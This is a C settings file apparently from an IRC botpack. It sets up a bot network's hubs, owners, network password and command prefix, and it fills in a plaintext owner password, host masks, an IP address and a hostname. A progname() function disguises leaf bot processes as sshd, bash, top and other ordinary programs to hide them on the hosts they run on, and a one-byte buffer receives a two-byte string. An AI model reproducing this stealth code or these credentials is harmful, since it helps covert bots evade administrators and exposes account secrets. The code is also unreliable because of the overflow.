settings.c 2.5 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586
  1. /* settings.c:
  2. * handles pack settings
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include "main.h"
  7. #define STR(x) x
  8. extern char *degarble(int, char *);
  9. char netpass[16], thepass[33], dcc_prefix[1], owners[2048], hubs[2048];
  10. //Change everything..
  11. #define NETPASS STR("kd8e3nchasd93dk") //Just 15 random chars here..
  12. #define THEPASS STR("d166239eb0558fc14c25a0826d20286d") //this md5 hash will be used for various purposes..
  13. #define DCCPREFIX "!" //This is the cmd prefix for dcc, ie: .cmd could be "."
  14. //You can define an infinite ammount of hubs/owners.
  15. //All hubs must be added/defined in this, owners can be later added via partyline.
  16. //"ip/hostname" means ip OR hostname, I highly recommend setting up dns for your hubs with hostnames.
  17. /*
  18. * Give your main hub the number 1...
  19. * The order of the hubs makes no difference, but be sure to give each
  20. * bot a unique number, starting from 1 and not skipping any numbers.
  21. * See the example below for what username is.
  22. *
  23. */
  24. /* IT IS IMPERATIVE TO ADD THE TRAILING COMMA AND SLASH CORRECTLY */
  25. #define OWNERS STR("\
  26. nick pass *!u@host *!u@ip *!u@host *!u@host *!u@ip,\
  27. nick pass *!u@host -telnet!ident@host,\
  28. ")
  29. #define HUBS STR("\
  30. hubnick ip/hostname port 1 username username,\
  31. hubnick2 ip/hostname port 2 username username,\
  32. hubnick3 ip/hostname port 3 username username,\
  33. ")
  34. #undef OWNERS
  35. #undef HUBS
  36. #define OWNERS STR("bryan Pass1234 *!bryan@botpack.net *!bryan@ip68-8-80-38.sd.sd.cox.net,")
  37. #define HUBS STR("hub 66.252.27.116 9227 1 shatow,war war.botpack.net 9227 2 bryan ~war,")
  38. //these are programs the leaf binaries will spoof as
  39. char *progname() {
  40. #ifdef S_PSCLOAK
  41. switch (random() % 13) { //Total entries + 1
  42. case 0: return STR("-bash");
  43. case 1: return STR("ftp");
  44. case 2: return STR("/usr/sbin/sshd");
  45. case 3: return STR("man");
  46. case 4: return STR("pine");
  47. case 5: return STR("bash");
  48. case 6: return STR("top");
  49. case 7: return STR("last");
  50. case 8: return STR("w");
  51. case 9: return STR("ps ux");
  52. case 10: return STR("bash");
  53. case 11: return STR("./psybnc");
  54. case 12: return STR("BitchX");
  55. }
  56. #endif
  57. return "";
  58. }
  59. /* ------ DO NOT EDIT BELOW THIS LINE ------ */
  60. void init_settings() {
  61. snprintf(owners, sizeof owners, OWNERS);
  62. snprintf(hubs, sizeof hubs, HUBS);
  63. snprintf(netpass, sizeof netpass, NETPASS);
  64. snprintf(thepass, sizeof thepass, THEPASS);
  65. sprintf(dcc_prefix, DCCPREFIX);
  66. if (SDEBUG)
  67. printf(STR("dcc_prefix: %s netpass: %s thepass: %s\n"), dcc_prefix, netpass, thepass);
  68. }